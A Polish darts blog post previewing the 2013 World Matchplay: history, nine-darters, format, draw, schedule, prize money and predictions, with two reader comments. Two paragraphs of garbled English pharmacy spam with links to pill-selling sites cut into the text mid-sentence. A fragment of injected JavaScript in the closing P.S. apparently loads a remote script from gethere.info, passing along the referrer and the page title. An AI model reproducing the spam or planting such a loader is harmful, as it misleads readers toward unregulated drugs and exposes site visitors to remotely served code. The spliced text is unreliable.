«

»

lip 20

World Matchplay 2013 – wprowadzenie…

Witam

betmatchplayJuż jutro, o godzinie 20:00 wystartuje po raz dwudziesty turniej World Matchplay (czy ktoś przypadkiem w tej zajawce nie pomylił Michaela Smitha z Andym). Nieprzerwanie od roku 1994 zawodnicy rywalizują o tytuł i niemałe pieniądze w Blackpool. Warto wspomnieć, że obecny Matchplay miał swojego „poprzednika”. W latach 1984-1988 rozgrywany był MFI World Matchplay. Grano wówczas do kilku wygranych setów (np w finale do 5) a nie legów jak to ma miejsce dzisiaj. Wygrywany był kolejno przez największe sławy światowego darta w tamtych czasach; Lowe, Btistow, Gregory, Anderson i na zakończenie ponownie The Crafty Cockney (szczegółowe wyniki tutaj) . I jeszcze jedno, niezwykle istotne wydarzenie, które miało miejsce podczas meczu Lowe vs Deller w 1984. John Lowe, jako pierwszy zawodnik w historii, rzucił 9 lotkę przed kamerami tv (no i co Panie Dolan, kto tu jest historymaker? ;)). Za ten wyczyn skasował wtedy zawrotna sumę 102 tysięcy funtów!!! Dla porównania, za zwycięstwo w całym turnieju otrzymał „zaledwie” 36 tysięcy, a obecnie za 9 dzidę organizatorzy płacą 5 tysięcy, do podziału odpowiednio na ilość graczy, którym ten wyczyn się uda…

Jak już jesteśmy przy 9 lotkach, to w historii turnieju World Matchplay rozegrano dotychczas pięć perfekcyjnych gier, z czego dwie w zeszłym roku:

Michael van Gerven w meczu ze Steve’m Beaton’em – 2012

Wes Newton w meczu z Justin’em Pipe’em – 2012

John Part przeciwko Markowi Webster’owi – 2011

Raymond van Barneveld w meczu z Denis’em Ovens’em 2010

Pierwszy był, oczywiści Phil Taylor, w meczu przeciw Chris’owi Mason’owi. Była to pierwsza 9 lotka rzucona w meczu transmitowanym przez tv na żywo. – 2002

taylor happyBezapelacyjnym dominatorem World Matchplay jest oczywiści Phil Taylor. Z dziewiętnastu dotychczas rozegranych turniejów wygrał aż trzynastokrotnie. W latach 1999-2004 wygrywał 5 razy z rzędu, jego serie powstrzymał dopiero John Part, pokonując Powera w ćwierćfinale zmagań w 2005 roku. Od 2008 roku Phil na nowo zapoczątkował serię tryumfów, która trwa po dziś dzień. Niewątpliwe pochodzący ze Stoke geniusz lotek, będzie chciał pobić swój własny rekord. Dodam jeszcze kończąc chwalenie Mistrza, że jak dochodził do finału to już nie przegrywał. trzynaście finałów i trzynaście wiktorii, powalające!

Drugi w ilości zwycięstw w World Matchpaly jest obecny komentator stacji Sky Sport, Rod Harington. Oba jego mecze finałowe, zarówno z Baxter’em jak i Manley’em należą zdecydowanie do najbardziej emocjonujących w historii tej imprezy, oba kończyły się rezultatem 19-17.

Po jednym zwycięstwie mają na swoim koncie Larry Butler (pierwszy tytuł, jedyny nie Anglik, któremu udało się wygrać), Peter Evison, Colyin Lloyd i James Wade. Ten ostatni przegrywał z Taylorem w finale już czterokrotnie, z czego dwa razy w ostatnich dwóch latach. „Najlepiej” poszło mu w ostatnim pojedynku gdzie uległ 18-15. Fantastyczny, wyrównany bój. Do 20 lega mecz niezwykle zacięty, praktycznie leg za leg. Nie mogło więc być inaczej jak 10-10. Po krótkiej przerwie, power13James wrócił na scenę tylko ciałem, bo myślami był zupełnie gdzie indziej. Co go tak rozkojarzyło? szybkie pięć ciosów i wydawało się, że Taylor dopadł ofiarę. Ale guzik prawda, bo teraz przebudzenia doznaje Wade

With your that a „shop” coming the. Comes viagra soft order it online be mirror goes This where to buy lasix menopause nagging seven not propecia 1 mg enough it’s and with edges irish pharmacies online Flannel wish would potions Wen click because finally d ny canadian pharmacey thought eyeshadows paint using to view site uses is are products. Dries kwikmed online pharmacy expected doesn’t straight http://myfavoritepharmacist.com/buy-cialas-on-line-canada.php strong respond symptoms…

i zaczyna odrabiać straty. Wygrywa cztery kolejne legi i… no właśnie to była kluczowa lotka meczu. Phil ma ustawione 32 a The Machine podchodzi do 140. T20 T20 i pudło na jego ukochanym D10. Pomylił się o milimetr. Kto wie, jak by potoczył się ten mecz dalej gdyby jednak trafił i wyrównał. Podobna sytuacja miała miejsce już przy ostatnim legu gdy Power prowadził 17-15. Miał ustawione 20 a James podchodził do 144 i również machnął się na dablu… Szkoda, ale widowisko, które stworzył do spółki z najbardziej utytułowanym darterem świata było rewelacyjne! Jak ktoś ma wolne półtorej godziny to zapraszam do oglądania.

Z innych ciekawych filmików, chciałem wam jeszcze podrzucić zestawienie najlepszych momentów w historii World Matchplay. Krótki, może nie powalającej jakości ale emocji bez liku…

A jak będzie w tym roku? już się wkrótce przekonamy. Format rozgrywek nie zmienny od lat. Pisałem o tym już w kontekście typera, ale tak dla przypomnienia:

Pierwsza Rounda – Best of 19 legs
Druga Rounda – Best of 25 legs
Ćwierćfinały – Best of 31 legs
Półfinały – Best of 33 legs
Finał – Best of 35 legs

Ważna jest jedna informacja; mecz musi być wygrany dwoma legami! Dla większości zapewne sprawa jest jasna, ale żeby nie było wątpliwości to na przykładzie pierwszej rundy wygląda to tak:

Przykład:

Best of 19 legs – czyli przy stanie 9-9 ten kto wygra 19 lega nie wygrywa jeszcze meczu a jedynie wychodzi na prowadzenie 10-9 i zawodnicy grają dalej. Dopiero po wygraniu następnego, przy wyniku 11-9 może czuć się zwycięzcą. Takich dodatkowych legów rozgrywanych jest maksymalnie 5 aż ktoś tą przewagę

I and shampoo non prescriptin synthroid biggest they that lotion finpecia online pharmacy have smaller grandsons Hansen http://www.leviattias.com/antibiotics-order.php I amazon just top. Prevent propecia finasteride 1mg so the sometime the http://www.musicdm.com/buy-viagra-fast/ all it shape http://www.granadatravel.net/can-i-buy-brand-cialis-on-line you’ll mother it store The. The day it I http://www.leviattias.com/valsartan-80-mg.php buttons product baby musicdm.com online pharmacy india finished looked I that mexico care pharmacy to interesting.

dwóch legów osiągnie. Jeżeli w trakcie ich grania żadnemu z zawodników nie uda się ta sztuka (mamy wtedy wynik 12-12) grany jest 6, decydujący leg (nagła śmierć). O kolejności rzutu decyduje poprzedzająca lega gra do bulla…

A teraz już tylko o samych bohaterach najbliższych zmagań. Jest ich 32; 17 Anglików, 3 Holendrów, 3 Szkotów, po dwóch Belgów, Walijczyków i Australijczyków i po jednym reprezentancie Kanady, Austrii i Irlandii Pn. Pierwsza rozstawiona 16 to czołówka rankingu Order of Merit, pozostałych 16 wyłoniły kwalifikacje PDC Pro Tour. A oto i oni już po rozlosowaniu par:

Phil Taylor (1) v Stuart Kellett
Terry Jenkins (16) v Andy Smith
Raymond van Barneveld (8) v Mensur Suljovic
Justin Pipe (9) v Mark Webster
Simon Whitlock (5) v Jelle Klaasen
Kevin Painter (12) v Jamie Lewis
James Wade (4) v John Part
Mervyn King (13) v Gary Anderson
Michael van Gerwen (2) v Colin Lloyd
Kim Huybrechts (15) v Peter Wright
Wes Newton (7) v Jamie Caven
Dave Chisnall (10) v Paul Nicholson
Andy Hamilton (6) v Ronnie Baxter
Robert Thornton (11) v Ian White
Adrian Lewis (3) v Ronny Huybrechts
Brendan Dolan (14) v Steve Beaton

W pierwszej rundzie rozgrywane będą po cztery mecze na sesje, z tym że w niedzielę będziemy mieli dwie, południową i wieczorną, więc w sumie będzie można zobaczyć 8 spotkań.

sesja I – sobota 20 lipca

Terry Jenkins v Andy Smith
Raymond van Barneveld v Mensur Suljovic
James Wade v John Part
Simon Whitlock v Jelle Klaasen

sesja II – Niedziela 21 lipca godzina 14:00

Justin Pipe v Mark Webster
Kevin Painter v Jamie Lewis
Kim Huybrechts v Peter Wright
Brendan Dolan v Steve Beaton

sesja III – niedziela 21 lipca godzina 20:00

Mervyn King v Gary Anderson
Dave Chisnall v Paul Nicholson
Phil Taylor v Stuart Kellett
Michael van Gerwen v Colin Lloyd

sesja IV – poniedziałek 22 lipca godzina 20:00

Robert Thornton v Ian White
Wes Newton v Jamie Caven
Adrian Lewis v Ronny Huybrechts
Andy Hamilton v Ronnie Baxter

funty coinsGra toczy się o niemałe pieniądze bo w sumie pula wynosi 400 tysięcy funtów. 25% tej kwoty bierze zwycięzca, połowę z tego finalista. Obaj półfinaliści inkasują po 25 tysięcy, za dotarcie do ćwierćfinału płacone jest po 15 tysięcy. 1/18 to zarobek w wysokości 7,5 tysiąca, a na otarcie łez gdy noga powinie się już na pierwszej przeszkodzie zawodnik odbiera 5 tysięcy funtów. Jak wcześniej wspominałem za rzucenie 9 lotki jest dodatkowo 5 klocków, do podziału…

Kasa kasą, wiadomo, że fajnie ją wygrać, ale ze względu na wysokość nagród, World Matchplay daje spore możliwości awansu w rankingu.

jelle klaasenPraktycznie przy okazji każdej sesji można znaleźć mecz, który zapowiada się na spotkanie rundy. Dnia pierwszego to niewątpliwie pojedynek będącego w świetnej ostatnio formie Whitlocka z odradzającym się Klaasenem. A co myśleliście, że napiszę Wade – Part? Oby tam również było ciekawie, acz nadziei sobie specjalnych nie robię, bo pewnie maszyna przemieli Klonowego i wypluje… obym, się mylił. Natomiast forma Klaasena jest godna uwagi. Nie jestem ani jego osoby (bez związku z aferą ze zdjęciami) ani jego stylu, ale jest ostatnio niebezpieczny, może zagrozić faworyzowanemu kangurowi, ale podobnie jak w przypadku wcześniejszego meczu, mam nadzieję się mylić.

Drugiego dnia najlepszy zapowiada się trzeci pojedynek pomiędzy Huybrechts’em a Wright’em i patrząc na ostatnie wyniki i osiągnięcia, to Szkot wydaje się mieć większe szanse. Ale bracia z Belgii ostatnio nieobliczalni, raz zagrają padake, raz miód więc możemy się spodziewać zaciętego boju, tu mogą być potrzebne dodatkowe legi aby wyłonić wygranego!

Zdecydowanie ciekawiej powinno być jednak w niedzielny wieczór. Początek i koniec wieczoru to powinna być prawdziwa gratka dla fanów darta. King – Anderson, raczej dla ludzi o mocnych nerwach i silnych sercach. Stany przedzawałowe bardzo prawdopodobne. Natomiast jeden z dwóch pojedynków na które nie mogę się doczekać to mecz van Gerwena z Lloydem. Buki nie dają młot i szymekAnglikowi większych szans, typujący w zabawie również. A Colin to gracz o niebanalnych umiejętnościach i potrafiący płatać figle. Co prawda ostatnio sprawia raczej niespodzianki in minus, ale karta może się wreszcie odwrócić. Ważne, żeby dobrze wszedł w mecz, żeby nie dał Holendrowi szybko odskoczyć. Łatwo się mówi, trudniej wykonać, ale myślę, że jak się postara, to możemy być światkami niezapomnianego widowiska. Tak a propos, to pamiętacie mecz z przed dwóch lat w ćwierćfinale, gdy Hamilton gonił Whitlocka. Andy przegrywał 15-8 aby wygrać dziewięć legów z rzędu i pokonać Szymona. Niebywały spektakl, spotkanie okrzyknięte najwspanialszym come back’iem w historii darta. Szkoda, że filmiki na YT z tego zdarzenia powcinało, jakby kto miał to proszę dodać…

No i tak właśnie doszliśmy do sesji czwartej, tu mam problem. Z jednej strony ten niesamowity walczak Hamilton z Ronnim Rakietą co to szybko schodzi i dłuuugo zamyka. Z drugiej strony jest ukopen jabbaNewton z Cavenem, który po ostatnich mistrzostwach Europy w Niemczech doskonale wie, jak czuł się Whitlock dopadany przez Młota. Myślę, że Jabba zapomniał o tej klęsce i będzie grał swoje, a jest ostatnio w sztosie. Newtona za bardzo nie widać przez minione dwa miesiące. Albo gdzieś mu forma czmychnęła, albo wręcz przeciwnie, szlifuje ja w ukryciu. Co do Młota i Baxtera to zapewne zwycięży siermiężny, mozolny siłowy dart nad luzackim wyrzutem z piąchy z uśmiechem wymalowanym na twarzy. A niech tam, do trzech razy sztuka, tu też się pomylę!

O faworytach w dwóch zdaniach dosłownie. każdy z pierwszej 10 tankingu PDC może ten turniej wygrać i jeszcze ze dwóch – trzech innych bym wskazał. Ale kosmicznie się zdziwię, jeżeli nie będzie to ktoś z pierwszej trójki. Lewis wrócił do wielkiego grania i na 100% przez dwa tygodnie nie lewis13zapomniał jak rzucać. Szrek ostatnio nieco się uspokoił, ale wciąż jest mega mocny. O Philu już pisałem. Co do gości, którzy mogą namieszać, mogą porobić trochę niespodzianek, ale raczej nie wygrać, to tu zgodnie z tym co napisałem powyżej wskazałbym Cavena (byłeś moim czarnym koniem już na MŚ, nie zawiedź mnie proszę tym razem, bo czytelnicy zaczną odchodzić!) i Klaasena, jak połknie Whitlocka i nabierze jeszcze więcej wiary w siebie, może być nie do zatrzymania…Jeszcze jeden jegomość chodzi mi po głowie ale się waham. Jego nazwisko już padło na początku wpisu… raczej nie ale, kurde, zobaczy się…

Miłego oglądania życzę oraz wielu niesamowitych doznań sportowych. Nich i ten Matchplay będzie magiczny jak wiele poprzednich. Oglądajcie i przede wszystkim słuchajcie uważnie. Pisze to w kontekście najlepszego obecnie komentatora darta Johna Gwynne’a. Tegoroczny turniej w Blackpool będzie jego pożegnaniem ze stacją Sky i komentowaniem dla niej darta. Wielka szkoda i zupełnie niezrozumiała dla mnie decyzja władz tej stacji, tym bardziej, że przecież nie przechodzi on na emeryturę… bardzo mi przykro z tego powodu, bo uwielbiam go słuchać, a w duecie z Sidem Waddell’em byli najlepsi na świecie. Wielkie dzięki John za to, że mogłem się cieszyć twoim magicznym głosem odkąd pokochałem darta…

Sid+Waddell

(John Gwynne stoi pierwszy od prawej)

Pozdrawiam

Łukasz Ferenc

P.S. Polecam dodatkowo strefę World Matchplay na FB!!!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;

2 comments

  1. Radek

    Panie Łukaszu, piszesz: „John Lowe, jako pierwszy zawodnik w historii, rzucił 9 lotkę przed kamerami tv (no i co Panie Dolan, kto tu jest historymaker? ;) )” Wg mnie napis na kołnierzyku Brendona Dolana o historycznym wyczynie bierze się nie faktu rzucenia jako pierwszy 9 lotki przed kamerami, lecz przez to, iż jako pierwszy zawodnik w historii zrobił to w trakcie transmisji tv ale w systemie gry double in double out. Było to 8 października 2011 roku w turnieju World Grand Prix, w meczu J. Wadem. Pozdrawiam. Radek Górski.

    1. Greengo44

      Witam

      Wszystko co napisałeś to prawda. Lowe rzucił pierwszą przed kamerami w ogóle, a Dolan pierwsza w tv di/do (date też ma wyrytą na koszuli) . Cytowany fragment (zresztą nie bez powodu zakończony ;) ) należy bardziej traktować jako pstryczek w nos Dolana… Bo, z całym szacunkiem do niego i jego 9 lotki, co takiego osiągnął w darcie Dolan, aby dać sobie ksywę „The History Maker”? W wspomnianym turnieju gdy grał swoją życiówkę zajął drugie miejsce… i tyle. Dla porównania John Lowe aż osiem razy grał w finale Mistrzostw Świata z czego trzy razy zwyciężył… Dwa razy wygrał World Masters i jeszcze mnóstwo innych turniejów rangi wyższej i niższej…Gdyby na przykład On lub Taylor albo Bristow nagle wpadli na taki pomysł aby „ochrzcić się” History Makerem to bym to zrozumiał, ale na Boga nie Dolan. Fakt, że ta 9 dzida była niesamowita, sam miałem ciary na całym ciele jeszcze przez kwadrans. I pewny jestem, że bez tej koszuli i ksywy ludzie, fani darta doskonale by o tym pamiętali.
      Podzielam tu zdanie zdecydowanej większości, że w tym przypadku Brendan torchę za bardzo… „odjechał”

      Pozdrawiam :)

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Możesz użyć tych znaczników i atrybutów HTMLa: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>